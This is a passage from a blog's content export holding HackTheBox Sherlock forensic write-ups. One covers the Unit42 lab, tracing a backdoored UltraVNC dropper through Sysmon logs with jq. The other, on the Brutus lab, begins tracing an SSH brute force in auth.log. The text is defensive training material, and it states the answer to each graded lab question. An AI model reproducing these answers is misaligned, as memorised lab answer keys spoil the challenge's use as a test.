[{"content":"","date":"2024-06-10","externalUrl":null,"permalink":"/en/tags/hackthebox/","section":"Tags","summary":"","title":"HackTheBox","type":"tags"},{"content":"","date":"2024-06-10","externalUrl":null,"permalink":"/en/tags/htb/","section":"Tags","summary":"","title":"HTB","type":"tags"},{"content":" 🔓 Sherlock Scenario # In this Sherlock, you will familiarize yourself with Sysmon logs and various useful EventIDs for identifying and analyzing malicious activities on a Windows system. Palo Alto\u0026rsquo;s Unit42 recently conducted research on an UltraVNC campaign, wherein attackers utilized a backdoored version of UltraVNC to maintain access to systems. This lab is inspired by that campaign and guides participants through the initial access stage of the campaign.\n🔍 Evidence Overview # ┌──(kali㉿kali)-[~/Desktop/HTB/Sherlock/Unit42] └─$ unzip -l unit42.zip Archive: unit42.zip Length Date Time Name --------- ---------- ----- ---- 1118208 02-14-2024 08:43 Microsoft-Windows-Sysmon-Operational.evtx --------- ------- 1118208 1 file EVTX File # EVTX is the file extension for Microsoft Windows Event Log files. Windows uses event logs to record and store system events, application events, and security events. These logs are important for system administrators and IT professionals because they help diagnose system issues, monitor security, and perform troubleshooting.\nWindows Event Viewer can be used to inspect and analyze these log files through a graphical interface. Event logs usually include timestamps, event IDs, event sources, event types such as information, warnings, and errors, and detailed event descriptions.\nEvent logs can also be accessed and processed through command-line tools such as wevtutil, or through programming interfaces such as Windows Management Instrumentation (WMI).\nWindows Sysmon # Windows Sysmon, or System Monitor, is a Windows system service and driver designed to monitor and record system activity to improve security visibility. Sysmon captures detailed system events that help administrators and security analysts identify suspicious behavior, intrusion attempts, and other security-relevant activity.\nIn Windows Sysmon logs, each event has a unique Event ID, which helps classify different types of system activity. The Event ID descriptions are documented in Sysmon.\nThe Event IDs present in this case are:\n1: Process creation 2: A process changed a file creation time 3: Network connection 5: Process terminated 11: FileCreate 12: RegistryEvent (Object create and delete) 13: RegistryEvent (Value Set) 22: DNSEvent (DNS query) 23: FileDelete (File Delete archived) 26: FileDeleteDetected (File Delete logged) Parse EVTX File # Reading EVTX files is probably easiest on Windows, but I solved this on Kali, so I looked for another parser.\nI used the cross-platform EVTX parser (evtx_dump), exported the data as JSON, and then used jq to organize the results. This was also my first time using jq in a more complete workflow, so it was a good chance to learn it while solving the lab.\nFirst, convert the EVTX file to JSON. I added --dont-show-record-number so evtx_dump would not output record numbers, otherwise jq would fail to parse the result.\n┌──(kali㉿kali)-[~/Desktop/HTB/Sherlock/Unit42] └─$ ./evtx_dump --dont-show-record-number -o json -f sysmon.json Microsoft-Windows-Sysmon-Operational.evtx Print the first record to inspect the structure. During analysis, the main fields to focus on are EventID and the details inside EventData.\n┌──(kali㉿kali)-[~/Desktop/HTB/Sherlock/Unit42] └─$ cat sysmon.json | jq -s \u0026#39;.[0]\u0026#39; { \u0026#34;Event\u0026#34;: { \u0026#34;#attributes\u0026#34;: { \u0026#34;xmlns\u0026#34;: \u0026#34;http://schemas.microsoft.com/win/2004/08/events/event\u0026#34; }, \u0026#34;EventData\u0026#34;: { \u0026#34;Image\u0026#34;: \u0026#34;C:\\\\Program Files\\\\Mozilla Firefox\\\\firefox.exe\u0026#34;, \u0026#34;ProcessGuid\u0026#34;: \u0026#34;817BDDF3-3514-65CC-0802-000000001900\u0026#34;, \u0026#34;ProcessId\u0026#34;: 4292, \u0026#34;QueryName\u0026#34;: \u0026#34;uc2f030016253ec53f4953980a4e.dl.dropboxusercontent.com\u0026#34;, \u0026#34;QueryResults\u0026#34;: \u0026#34;type: 5 edge-block-www-env.dropbox-dns.com;::ffff:162.125.81.15;198.51.44.6;2620:4d:4000:6259:7:6:0:1;198.51.45.6;2a00:edc0:6259:7:6::2;198.51.44.70;2620:4d:4000:6259:7:6:0:3;198.51.45.70;2a00:edc0:6259:7:6::4;\u0026#34;, \u0026#34;QueryStatus\u0026#34;: \u0026#34;0\u0026#34;, \u0026#34;RuleName\u0026#34;: \u0026#34;-\u0026#34;, \u0026#34;User\u0026#34;: \u0026#34;DESKTOP-887GK2L\\\\CyberJunkie\u0026#34;, \u0026#34;UtcTime\u0026#34;: \u0026#34;2024-02-14 03:41:25.269\u0026#34; }, \u0026#34;System\u0026#34;: { \u0026#34;Channel\u0026#34;: \u0026#34;Microsoft-Windows-Sysmon/Operational\u0026#34;, \u0026#34;Computer\u0026#34;: \u0026#34;DESKTOP-887GK2L\u0026#34;, \u0026#34;Correlation\u0026#34;: null, \u0026#34;EventID\u0026#34;: 22, \u0026#34;EventRecordID\u0026#34;: 118747, \u0026#34;Execution\u0026#34;: { \u0026#34;#attributes\u0026#34;: { \u0026#34;ProcessID\u0026#34;: 3028, \u0026#34;ThreadID\u0026#34;: 4452 } }, \u0026#34;Keywords\u0026#34;: \u0026#34;0x8000000000000000\u0026#34;, \u0026#34;Level\u0026#34;: 4, \u0026#34;Opcode\u0026#34;: 0, \u0026#34;Provider\u0026#34;: { \u0026#34;#attributes\u0026#34;: { \u0026#34;Guid\u0026#34;: \u0026#34;5770385F-C22A-43E0-BF4C-06F5698FFBD9\u0026#34;, \u0026#34;Name\u0026#34;: \u0026#34;Microsoft-Windows-Sysmon\u0026#34; } }, \u0026#34;Security\u0026#34;: { \u0026#34;#attributes\u0026#34;: { \u0026#34;UserID\u0026#34;: \u0026#34;S-1-5-18\u0026#34; } }, \u0026#34;Task\u0026#34;: 22, \u0026#34;TimeCreated\u0026#34;: { \u0026#34;#attributes\u0026#34;: { \u0026#34;SystemTime\u0026#34;: \u0026#34;2024-02-14T03:41:26.444119Z\u0026#34; } }, \u0026#34;Version\u0026#34;: 5 } } } 🙋 Questions # Question 1 # How many Event logs are there with Event ID 11?\nGroup the records by EventID and count them. A simpler approach would also be to use grep with wc -l.\n┌──(kali㉿kali)-[~/Desktop/HTB/Sherlock/Unit42] └─$ cat sysmon.json | jq -sc \u0026#39;group_by(.Event.System.EventID) | map({EventID: .[0].Event.System.EventID, count: length}) | .[]\u0026#39; {\u0026#34;EventID\u0026#34;:1,\u0026#34;count\u0026#34;:6} {\u0026#34;EventID\u0026#34;:2,\u0026#34;count\u0026#34;:16} {\u0026#34;EventID\u0026#34;:3,\u0026#34;count\u0026#34;:1} {\u0026#34;EventID\u0026#34;:5,\u0026#34;count\u0026#34;:1} {\u0026#34;EventID\u0026#34;:7,\u0026#34;count\u0026#34;:15} {\u0026#34;EventID\u0026#34;:10,\u0026#34;count\u0026#34;:1} {\u0026#34;EventID\u0026#34;:11,\u0026#34;count\u0026#34;:56} {\u0026#34;EventID\u0026#34;:12,\u0026#34;count\u0026#34;:14} {\u0026#34;EventID\u0026#34;:13,\u0026#34;count\u0026#34;:19} {\u0026#34;EventID\u0026#34;:15,\u0026#34;count\u0026#34;:2} {\u0026#34;EventID\u0026#34;:17,\u0026#34;count\u0026#34;:7} {\u0026#34;EventID\u0026#34;:22,\u0026#34;count\u0026#34;:3} {\u0026#34;EventID\u0026#34;:23,\u0026#34;count\u0026#34;:26} {\u0026#34;EventID\u0026#34;:26,\u0026#34;count\u0026#34;:2} Ans: 56\nQuestion 2 # Whenever a process is created in memory, an event with Event ID 1 is recorded with details such as command line, hashes, process path, parent process path, etc. This information is very useful for an analyst because it allows us to see all programs executed on a system, which means we can spot any malicious processes being executed. What is the malicious process that infected the victim\u0026rsquo;s system?\nAfter filtering for EventID 1, this record is the most suspicious. Preventivo24.02.14.exe.exe was executed from the Downloads folder by explorer.exe, which suggests the user double-clicked it. Then I searched the file hash on VirusTotal, confirming that it is malware.\n┌──(kali㉿kali)-[~/Desktop/HTB/Sherlock/Unit42] └─$ cat sysmon.json | jq -c \u0026#39;select(.Event.System.EventID == 1)\u0026#39; | jq -s \u0026#39;.[1].Event.EventData\u0026#39; { \u0026#34;CommandLine\u0026#34;: \u0026#34;\\\u0026#34;C:\\\\Users\\\\CyberJunkie\\\\Downloads\\\\Preventivo24.02.14.exe.exe\\\u0026#34; \u0026#34;, \u0026#34;Company\u0026#34;: \u0026#34;Photo and Fax Vn\u0026#34;, \u0026#34;CurrentDirectory\u0026#34;: \u0026#34;C:\\\\Users\\\\CyberJunkie\\\\Downloads\\\\\u0026#34;, \u0026#34;Description\u0026#34;: \u0026#34;Photo and vn Installer\u0026#34;, \u0026#34;FileVersion\u0026#34;: \u0026#34;1.1.2\u0026#34;, \u0026#34;Hashes\u0026#34;: \u0026#34;SHA1=18A24AA0AC052D31FC5B56F5C0187041174FFC61,MD5=32F35B78A3DC5949CE3C99F2981DEF6B,SHA256=0CB44C4F8273750FA40497FCA81E850F73927E70B13C8F80CDCFEE9D1478E6F3,IMPHASH=36ACA8EDDDB161C588FCF5AFDC1AD9FA\u0026#34;, \u0026#34;Image\u0026#34;: \u0026#34;C:\\\\Users\\\\CyberJunkie\\\\Downloads\\\\Preventivo24.02.14.exe.exe\u0026#34;, \u0026#34;IntegrityLevel\u0026#34;: \u0026#34;Medium\u0026#34;, \u0026#34;LogonGuid\u0026#34;: \u0026#34;817BDDF3-311E-65CC-A7AE-1B0000000000\u0026#34;, \u0026#34;LogonId\u0026#34;: \u0026#34;0x1baea7\u0026#34;, \u0026#34;OriginalFileName\u0026#34;: \u0026#34;Fattura 2 2024.exe\u0026#34;, \u0026#34;ParentCommandLine\u0026#34;: \u0026#34;C:\\\\Windows\\\\Explorer.EXE\u0026#34;, \u0026#34;ParentImage\u0026#34;: \u0026#34;C:\\\\Windows\\\\explorer.exe\u0026#34;, \u0026#34;ParentProcessGuid\u0026#34;: \u0026#34;817BDDF3-311F-65CC-0A01-000000001900\u0026#34;, \u0026#34;ParentProcessId\u0026#34;: 1116, \u0026#34;ParentUser\u0026#34;: \u0026#34;DESKTOP-887GK2L\\\\CyberJunkie\u0026#34;, \u0026#34;ProcessGuid\u0026#34;: \u0026#34;817BDDF3-3684-65CC-2D02-000000001900\u0026#34;, \u0026#34;ProcessId\u0026#34;: 10672, \u0026#34;Product\u0026#34;: \u0026#34;Photo and vn\u0026#34;, \u0026#34;RuleName\u0026#34;: \u0026#34;technique_id=T1204,technique_name=User Execution\u0026#34;, \u0026#34;TerminalSessionId\u0026#34;: 1, \u0026#34;User\u0026#34;: \u0026#34;DESKTOP-887GK2L\\\\CyberJunkie\u0026#34;, \u0026#34;UtcTime\u0026#34;: \u0026#34;2024-02-14 03:41:56.538\u0026#34; } Ans: C:\\Users\\CyberJunkie\\Downloads\\Preventivo24.02.14.exe.exe\nQuestion 3 # Which Cloud drive was used to distribute the malware?\nTo determine how the malware entered the system, first search for EventID 11 records where TargetFilename contains Preventivo24. This confirms that the file was downloaded by Firefox.\n┌──(kali㉿kali)-[~/Desktop/HTB/Sherlock/Unit42] └─$ cat sysmon.json | jq -c \u0026#39;select(.Event.System.EventID == 11) | select(.Event.EventData.TargetFilename | strings | test(\u0026#34;Preventivo24\u0026#34;))\u0026#39; | jq -s \u0026#39;.[0].Event.EventData\u0026#39; { \u0026#34;CreationUtcTime\u0026#34;: \u0026#34;2024-02-14 03:41:26.459\u0026#34;, \u0026#34;Image\u0026#34;: \u0026#34;C:\\\\Program Files\\\\Mozilla Firefox\\\\firefox.exe\u0026#34;, \u0026#34;ProcessGuid\u0026#34;: \u0026#34;817BDDF3-3514-65CC-0802-000000001900\u0026#34;, \u0026#34;ProcessId\u0026#34;: 4292, \u0026#34;RuleName\u0026#34;: \u0026#34;-\u0026#34;, \u0026#34;TargetFilename\u0026#34;: \u0026#34;C:\\\\Users\\\\CyberJunkie\\\\Downloads\\\\Preventivo24.02.14.exe.exe\u0026#34;, \u0026#34;User\u0026#34;: \u0026#34;DESKTOP-887GK2L\\\\CyberJunkie\u0026#34;, \u0026#34;UtcTime\u0026#34;: \u0026#34;2024-02-14 03:41:26.459\u0026#34; } Next, filter Firefox DNS queries. DNS query events use EventID 22, and Firefox\u0026rsquo;s ProcessId is 4292, so we can query both conditions together. The first record matches the download time from the previous step, so the cloud drive was Dropbox.\n┌──(kali㉿kali)-[~/Desktop/HTB/Sherlock/Unit42] └─$ cat sysmon.json | jq -c \u0026#39;select(.Event.System.EventID == 22)\u0026#39; | grep 4292 | jq -s \u0026#39;.[].Event.EventData\u0026#39; { \u0026#34;Image\u0026#34;: \u0026#34;C:\\\\Program Files\\\\Mozilla Firefox\\\\firefox.exe\u0026#34;, \u0026#34;ProcessGuid\u0026#34;: \u0026#34;817BDDF3-3514-65CC-0802-000000001900\u0026#34;, \u0026#34;ProcessId\u0026#34;: 4292, \u0026#34;QueryName\u0026#34;: \u0026#34;uc2f030016253ec53f4953980a4e.dl.dropboxusercontent.com\u0026#34;, \u0026#34;QueryResults\u0026#34;: \u0026#34;type: 5 edge-block-www-env.dropbox-dns.com;::ffff:162.125.81.15;198.51.44.6;2620:4d:4000:6259:7:6:0:1;198.51.45.6;2a00:edc0:6259:7:6::2;198.51.44.70;2620:4d:4000:6259:7:6:0:3;198.51.45.70;2a00:edc0:6259:7:6::4;\u0026#34;, \u0026#34;QueryStatus\u0026#34;: \u0026#34;0\u0026#34;, \u0026#34;RuleName\u0026#34;: \u0026#34;-\u0026#34;, \u0026#34;User\u0026#34;: \u0026#34;DESKTOP-887GK2L\\\\CyberJunkie\u0026#34;, \u0026#34;UtcTime\u0026#34;: \u0026#34;2024-02-14 03:41:25.269\u0026#34; } { \u0026#34;Image\u0026#34;: \u0026#34;C:\\\\Program Files\\\\Mozilla Firefox\\\\firefox.exe\u0026#34;, \u0026#34;ProcessGuid\u0026#34;: \u0026#34;817BDDF3-3514-65CC-0802-000000001900\u0026#34;, \u0026#34;ProcessId\u0026#34;: 4292, \u0026#34;QueryName\u0026#34;: \u0026#34;d.dropbox.com\u0026#34;, \u0026#34;QueryResults\u0026#34;: \u0026#34;type: 5 d.v.dropbox.com;type: 5 d-edge.v.dropbox.com;162.125.8.20;205.251.192.57;2600:9000:5300:3900::1;\u0026#34;, \u0026#34;QueryStatus\u0026#34;: \u0026#34;0\u0026#34;, \u0026#34;RuleName\u0026#34;: \u0026#34;-\u0026#34;, \u0026#34;User\u0026#34;: \u0026#34;DESKTOP-887GK2L\\\\CyberJunkie\u0026#34;, \u0026#34;UtcTime\u0026#34;: \u0026#34;2024-02-14 03:41:43.924\u0026#34; } Ans: dropbox\nQuestion 4 # The initial malicious file time-stamped (a defense evasion technique, where the file creation date is changed to make it appear old) many files it created on disk. What was the timestamp changed to for a PDF file?\nThe Event ID for file creation time changes is 2. Filter for EventID 2 and records containing .pdf; there is only one result.\n┌──(kali㉿kali)-[~/Desktop/HTB/Sherlock/Unit42] └─$ cat sysmon.json | jq -c \u0026#39;select(.Event.System.EventID == 2)\u0026#39; | grep \u0026#39;.pdf\u0026#39; | jq -s \u0026#39;.[].Event.EventData\u0026#39; { \u0026#34;CreationUtcTime\u0026#34;: \u0026#34;2024-01-14 08:10:06.029\u0026#34;, \u0026#34;Image\u0026#34;: \u0026#34;C:\\\\Users\\\\CyberJunkie\\\\Downloads\\\\Preventivo24.02.14.exe.exe\u0026#34;, \u0026#34;PreviousCreationUtcTime\u0026#34;: \u0026#34;2024-02-14 03:41:58.404\u0026#34;, \u0026#34;ProcessGuid\u0026#34;: \u0026#34;817BDDF3-3684-65CC-2D02-000000001900\u0026#34;, \u0026#34;ProcessId\u0026#34;: 10672, \u0026#34;RuleName\u0026#34;: \u0026#34;technique_id=T1070.006,technique_name=Timestomp\u0026#34;, \u0026#34;TargetFilename\u0026#34;: \u0026#34;C:\\\\Users\\\\CyberJunkie\\\\AppData\\\\Roaming\\\\Photo and Fax Vn\\\\Photo and vn 1.1.2\\\\install\\\\F97891C\\\\TempFolder\\\\~.pdf\u0026#34;, \u0026#34;User\u0026#34;: \u0026#34;DESKTOP-887GK2L\\\\CyberJunkie\u0026#34;, \u0026#34;UtcTime\u0026#34;: \u0026#34;2024-02-14 03:41:58.404\u0026#34; } Ans: 2024-01-14 08:10:06\nQuestion 5 # The malicious file dropped a few files on disk. Where was \u0026ldquo;once.cmd\u0026rdquo; created on disk? Please answer with the full path along with the filename.\nFilter for EventID 11, where EventData.Image contains Preventivo24, and then search for records containing once.cmd.\n┌──(kali㉿kali)-[~/Desktop/HTB/Sherlock/Unit42] └─$ cat sysmon.json | jq -c \u0026#39;select(.Event.System.EventID == 11) | select(.Event.EventData.Image | strings | test(\u0026#34;Preventivo24\u0026#34;))\u0026#39; | grep \u0026#39;once.cmd\u0026#39; | jq -s \u0026#39;.[].Event.EventData\u0026#39; { \u0026#34;CreationUtcTime\u0026#34;: \u0026#34;2024-02-14 03:41:58.404\u0026#34;, \u0026#34;Image\u0026#34;: \u0026#34;C:\\\\Users\\\\CyberJunkie\\\\Downloads\\\\Preventivo24.02.14.exe.exe\u0026#34;, \u0026#34;ProcessGuid\u0026#34;: \u0026#34;817BDDF3-3684-65CC-2D02-000000001900\u0026#34;, \u0026#34;ProcessId\u0026#34;: 10672, \u0026#34;RuleName\u0026#34;: \u0026#34;-\u0026#34;, \u0026#34;TargetFilename\u0026#34;: \u0026#34;C:\\\\Users\\\\CyberJunkie\\\\AppData\\\\Roaming\\\\Photo and Fax Vn\\\\Photo and vn 1.1.2\\\\install\\\\F97891C\\\\WindowsVolume\\\\Games\\\\once.cmd\u0026#34;, \u0026#34;User\u0026#34;: \u0026#34;DESKTOP-887GK2L\\\\CyberJunkie\u0026#34;, \u0026#34;UtcTime\u0026#34;: \u0026#34;2024-02-14 03:41:58.404\u0026#34; } Ans: C:\\Users\\CyberJunkie\\AppData\\Roaming\\Photo and Fax Vn\\Photo and vn 1.1.2\\install\\F97891C\\WindowsVolume\\Games\\once.cmd\nQuestion 6 # The malicious file attempted to reach a dummy domain, most likely to check the internet connection status. What domain name did it try to connect to?\nWe can confirm this by finding DNS queries made by the malicious process. Filter for EventID 22 where EventData.Image contains Preventivo24.\n┌──(kali㉿kali)-[~/Desktop/HTB/Sherlock/Unit42] └─$ cat sysmon.json | jq -c \u0026#39;select(.Event.System.EventID == 22) | select(.Event.EventData.Image | strings | test(\u0026#34;Preventivo24\u0026#34;))\u0026#39; | jq -s \u0026#39;.[].Event.EventData\u0026#39; { \u0026#34;Image\u0026#34;: \u0026#34;C:\\\\Users\\\\CyberJunkie\\\\Downloads\\\\Preventivo24.02.14.exe.exe\u0026#34;, \u0026#34;ProcessGuid\u0026#34;: \u0026#34;817BDDF3-3684-65CC-2D02-000000001900\u0026#34;, \u0026#34;ProcessId\u0026#34;: 10672, \u0026#34;QueryName\u0026#34;: \u0026#34;www.example.com\u0026#34;, \u0026#34;QueryResults\u0026#34;: \u0026#34;::ffff:93.184.216.34;199.43.135.53;2001:500:8f::53;199.43.133.53;2001:500:8d::53;\u0026#34;, \u0026#34;QueryStatus\u0026#34;: \u0026#34;0\u0026#34;, \u0026#34;RuleName\u0026#34;: \u0026#34;-\u0026#34;, \u0026#34;User\u0026#34;: \u0026#34;DESKTOP-887GK2L\\\\CyberJunkie\u0026#34;, \u0026#34;UtcTime\u0026#34;: \u0026#34;2024-02-14 03:41:56.955\u0026#34; } Ans: www.example.com\nQuestion 7 # Which IP address did the malicious process try to reach out to?\nNetwork connection events use Event ID 3. Filtering for EventID 3 returns only one record, and its Image is the malicious process.\n┌──(kali㉿kali)-[~/Desktop/HTB/Sherlock/Unit42] └─$ cat sysmon.json | jq -c \u0026#39;select(.Event.System.EventID == 3)\u0026#39; | jq -s \u0026#39;.[].Event.EventData\u0026#39; { \u0026#34;DestinationHostname\u0026#34;: \u0026#34;-\u0026#34;, \u0026#34;DestinationIp\u0026#34;: \u0026#34;93.184.216.34\u0026#34;, \u0026#34;DestinationIsIpv6\u0026#34;: false, \u0026#34;DestinationPort\u0026#34;: 80, \u0026#34;DestinationPortName\u0026#34;: \u0026#34;-\u0026#34;, \u0026#34;Image\u0026#34;: \u0026#34;C:\\\\Users\\\\CyberJunkie\\\\Downloads\\\\Preventivo24.02.14.exe.exe\u0026#34;, \u0026#34;Initiated\u0026#34;: true, \u0026#34;ProcessGuid\u0026#34;: \u0026#34;817BDDF3-3684-65CC-2D02-000000001900\u0026#34;, \u0026#34;ProcessId\u0026#34;: 10672, \u0026#34;Protocol\u0026#34;: \u0026#34;tcp\u0026#34;, \u0026#34;RuleName\u0026#34;: \u0026#34;technique_id=T1036,technique_name=Masquerading\u0026#34;, \u0026#34;SourceHostname\u0026#34;: \u0026#34;-\u0026#34;, \u0026#34;SourceIp\u0026#34;: \u0026#34;172.17.79.132\u0026#34;, \u0026#34;SourceIsIpv6\u0026#34;: false, \u0026#34;SourcePort\u0026#34;: 61177, \u0026#34;SourcePortName\u0026#34;: \u0026#34;-\u0026#34;, \u0026#34;User\u0026#34;: \u0026#34;DESKTOP-887GK2L\\\\CyberJunkie\u0026#34;, \u0026#34;UtcTime\u0026#34;: \u0026#34;2024-02-14 03:41:57.159\u0026#34; } Ans: 93.184.216.34\nQuestion 8 # The malicious process terminated itself after infecting the PC with a backdoored variant of UltraVNC. When did the process terminate itself?\nProcess termination events use Event ID 5. Filtering for EventID 5 also returns only this malicious process record.\n┌──(kali㉿kali)-[~/Desktop/HTB/Sherlock/Unit42] └─$ cat sysmon.json | jq -c \u0026#39;select(.Event.System.EventID == 5)\u0026#39; | jq -s \u0026#39;.[].Event.EventData\u0026#39; { \u0026#34;Image\u0026#34;: \u0026#34;C:\\\\Users\\\\CyberJunkie\\\\Downloads\\\\Preventivo24.02.14.exe.exe\u0026#34;, \u0026#34;ProcessGuid\u0026#34;: \u0026#34;817BDDF3-3684-65CC-2D02-000000001900\u0026#34;, \u0026#34;ProcessId\u0026#34;: 10672, \u0026#34;RuleName\u0026#34;: \u0026#34;-\u0026#34;, \u0026#34;User\u0026#34;: \u0026#34;DESKTOP-887GK2L\\\\CyberJunkie\u0026#34;, \u0026#34;UtcTime\u0026#34;: \u0026#34;2024-02-14 03:41:58.795\u0026#34; } Ans: 2024-02-14 03:41:58\n","date":"2024-06-10","externalUrl":null,"permalink":"/en/posts/htb+sherlock+unit42+writeup/","section":"Posts","summary":"A HackTheBox Sherlock Unit42 investigation walkthrough using Sysmon events to reconstruct malicious download, dropped files, and the UltraVNC infection flow.","title":"HTB Sherlock Unit42 Writeup","type":"posts"},{"content":"","date":"2024-06-10","externalUrl":null,"permalink":"/en/","section":"KinJih's space","summary":"","title":"KinJih's space","type":"page"},{"content":"","date":"2024-06-10","externalUrl":null,"permalink":"/en/posts/","section":"Posts","summary":"","title":"Posts","type":"posts"},{"content":"","date":"2024-06-10","externalUrl":null,"permalink":"/en/tags/sherlock/","section":"Tags","summary":"","title":"Sherlock","type":"tags"},{"content":"","date":"2024-06-10","externalUrl":null,"permalink":"/en/tags/","section":"Tags","summary":"","title":"Tags","type":"tags"},{"content":"","date":"2024-06-10","externalUrl":null,"permalink":"/en/tags/unit42/","section":"Tags","summary":"","title":"Unit42","type":"tags"},{"content":"","date":"2024-05-11","externalUrl":null,"permalink":"/en/tags/brutus/","section":"Tags","summary":"","title":"Brutus","type":"tags"},{"content":" 🔓 Sherlock Scenario # In this very easy Sherlock, you will familiarize yourself with Unix auth.log and wtmp logs. We\u0026rsquo;ll explore a scenario where a Confluence server was brute-forced via its SSH service. After gaining access to the server, the attacker performed additional activities, which we can track using auth.log. Although auth.log is primarily used for brute-force analysis, we will delve into the full potential of this artifact in our investigation, including aspects of privilege escalation, persistence, and even some visibility into command execution.\n🔍 Evidence Overview # ┌──(kali㉿kali)-[~/Desktop/HTB/Brutus] └─$ unzip -l Brutus.zip Archive: Brutus.zip Length Date Time Name --------- ---------- ----- ---- 43911 03-06-2024 11:47 auth.log 11136 03-06-2024 11:47 wtmp --------- ------- 55047 2 files auth.log # First, a quick note on the auth.log format.\nauth.log records authentication-related events on a system. On many Linux and Unix systems, it is usually located under /var/log and records events such as user login, logout, and failed password attempts. These events help administrators monitor system security and perform investigations when needed.\nThe format is usually plain text, with one event per line. A typical example looks like this:\nMay 9 12:34:56 hostname sshd[1234]: Failed password for user1 from 192.168.1.100 port 12345 ssh2 Some important fields that often appear in auth.log include:\nDate and time: When the event occurred, such as May 9 12:34:56 in the example above. Hostname: The hostname or IP address of the system, such as hostname. Service: The process or service that generated the event. For example, sshd indicates an SSH-related event. Process ID: The PID of the process related to the event, usually shown in brackets, such as [1234]. Event message: The details of the event, which may include usernames, IP addresses, and ports. In short, auth.log is a structured text log that records authentication events and is very useful for security analysis.\nwtmp # Next, a quick note on wtmp.\nwtmp, often associated with the who command, records user login and logout events. It is commonly used to track user activity, including login time, logout time, username, and login method. On many Unix and Linux systems, wtmp is also located under /var/log.\nUnlike auth.log, wtmp is usually stored in a binary format. It can be read with commands such as last or who, which parse the file and display readable login and logout records.\nExample output from last:\nuser1 pts/0 192.168.1.100 Mon May 9 12:34 - 14:56 (02:21) user2 pts/1 192.168.1.101 Sun May 8 08:00 - 10:15 (02:15) Fields that may appear in last output include:\nUsername: The user who logged in. tty: The terminal used by the user. Remote address: The remote IP address used for login. Login time: When the user logged in. Logout time: When the user logged out. Session duration: How long the session lasted. wtmp is useful for system monitoring and security analysis, especially when reconstructing user activity. Reading the binary format directly requires specific tooling or libraries; on Unix and Linux systems, utmpdump is one common option.\n🙋 Questions # Question 1 # Analyzing the auth.log, can you identify the IP address used by the attacker to carry out a brute force attack?\nFilter failed SSH login records in auth.log to identify the attacker\u0026rsquo;s IP address. Only 65.2.161.68 has repeated failed attempts.\n┌──(kali㉿kali)-[~/Desktop/HTB/Brutus] └─$ cat auth.log | grep sshd | grep Failed | cut -d\u0026#39; \u0026#39; -f6- sshd[2327]: Failed password for invalid user admin from 65.2.161.68 port 46392 ssh2 sshd[2331]: Failed password for invalid user admin from 65.2.161.68 port 46436 ssh2 sshd[2332]: Failed password for invalid user admin from 65.2.161.68 port 46444 ssh2 sshd[2335]: Failed password for invalid user admin from 65.2.161.68 port 46460 ssh2 sshd[2337]: Failed password for invalid user admin from 65.2.161.68 port 46498 ssh2 sshd[2334]: Failed password for invalid user admin from 65.2.161.68 port 46454 ssh2 sshd[2338]: Failed password for backup from 65.2.161.68 port 46512 ssh2 sshd[2336]: Failed password for backup from 65.2.161.68 port 46468 ssh2 sshd[2330]: Failed password for invalid user admin from 65.2.161.68 port 46422 ssh2 sshd[2328]: Failed password for invalid user admin from 65.2.161.68 port 46390 ssh2 sshd[2329]: Failed password for invalid user admin from 65.2.161.68 port 46414 ssh2 sshd[2333]: Failed password for invalid user admin from 65.2.161.68 port 46452 ssh2 sshd[2352]: Failed password for backup from 65.2.161.68 port 46568 ssh2 sshd[2351]: Failed password for backup from 65.2.161.68 port 46538 ssh2 sshd[2355]: Failed password for backup from 65.2.161.68 port 46576 ssh2 sshd[2357]: Failed password for backup from 65.2.161.68 port 46582 ssh2 sshd[2357]: Failed password for backup from 65.2.161.68 port 46582 ssh2 sshd[2359]: Failed password for invalid user server_adm from 65.2.161.68 port 46596 ssh2 sshd[2361]: Failed password for invalid user server_adm from 65.2.161.68 port 46614 ssh2 sshd[2368]: Failed password for invalid user server_adm from 65.2.161.68 port 46676 ssh2 sshd[2369]: Failed password for invalid user server_adm from 65.2.161.68 port 46682 ssh2 sshd[2365]: Failed password for invalid user server_adm from 65.2.161.68 port 46644 ssh2 sshd[2366]: Failed password for invalid user server_adm from 65.2.161.68 port 46648 ssh2 sshd[2364]: Failed password for invalid user server_adm from 65.2.161.68 port 46632 ssh2 sshd[2367]: Failed password for invalid user server_adm from 65.2.161.68 port 46664 ssh2 sshd[2363]: Failed password for invalid user server_adm from 65.2.161.68 port 46620 ssh2 sshd[2377]: Failed password for invalid user server_adm from 65.2.161.68 port 46684 ssh2 sshd[2379]: Failed password for invalid user server_adm from 65.2.161.68 port 46698 ssh2 sshd[2380]: Failed password for invalid user server_adm from 65.2.161.68 port 46710 ssh2 sshd[2383]: Failed password for invalid user svc_account from 65.2.161.68 port 46722 ssh2 sshd[2384]: Failed password for invalid user svc_account from 65.2.161.68 port 46732 ssh2 sshd[2387]: Failed password for invalid user svc_account from 65.2.161.68 port 46742 ssh2 sshd[2389]: Failed password for invalid user svc_account from 65.2.161.68 port 46744 ssh2 sshd[2391]: Failed password for invalid user svc_account from 65.2.161.68 port 46750 ssh2 sshd[2393]: Failed password for invalid user svc_account from 65.2.161.68 port 46774 ssh2 sshd[2394]: Failed password for invalid user svc_account from 65.2.161.68 port 46786 ssh2 sshd[2397]: Failed password for invalid user svc_account from 65.2.161.68 port 46814 ssh2 sshd[2398]: Failed password for invalid user svc_account from 65.2.161.68 port 46840 ssh2 sshd[2396]: Failed password for invalid user svc_account from 65.2.161.68 port 46800 ssh2 sshd[2400]: Failed password for invalid user svc_account from 65.2.161.68 port 46854 ssh2 sshd[2399]: Failed password for root from 65.2.161.68 port 46852 ssh2 sshd[2407]: Failed password for root from 65.2.161.68 port 46876 ssh2 sshd[2409]: Failed password for root from 65.2.161.68 port 46890 ssh2 sshd[2399]: Failed password for root from 65.2.161.68 port 46852 ssh2 sshd[2407]: Failed password for root from 65.2.161.68 port 46876 ssh2 sshd[2409]: Failed password for root from 65.2.161.68 port 46890 ssh2 sshd[2423]: Failed password for backup from 65.2.161.68 port 34834 ssh2 sshd[2424]: Failed password for backup from 65.2.161.68 port 34856 ssh2 Ans: 65.2.161.68\nQuestion 2 # The brute force attempts were successful, and the attacker gained access to an account on the server. What is the username of this account?\nSearch auth.log again, this time for successful login records. The keyword is Accepted. The attacker IP successfully logged in as root.\n┌──(kali㉿kali)-[~/Desktop/HTB/Brutus] └─$ cat auth.log | grep sshd | grep Accepted | cut -d\u0026#39; \u0026#39; -f6- sshd[1465]: Accepted password for root from 203.101.190.9 port 42825 ssh2 sshd[2411]: Accepted password for root from 65.2.161.68 port 34782 ssh2 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2 sshd[2667]: Accepted password for cyberjunkie from 65.2.161.68 port 43260 ssh2 Ans: root\nQuestion 3 # Can you identify the 